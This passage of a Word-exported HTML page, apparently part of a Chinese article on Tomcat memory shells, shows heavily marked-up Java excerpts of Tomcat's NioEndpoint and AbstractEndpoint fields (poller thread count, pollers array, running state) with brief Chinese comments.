style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">int</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> pollerThreadPriority </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Thread</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">NORM_PRIORITY</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* 轮询线程数量，2与JVM可利用线程中取小值 */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">private</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">int</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> pollerThreadCount </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                          </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Math</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">min</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">2</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Runtime</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getRuntime</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">().</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">availableProcessors</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">());</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* 轮询线程池 */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">private</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> Poller</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[]</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> pollers </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">null</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">...</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">abstract</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">class</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> AbstractEndpoint</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">S</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">U</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&gt;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* Endpoint的运行状态 */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">protected</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">volatile</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">boolean</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> running </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">false</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* Endpoint暂停时设置为true */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">protected</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: 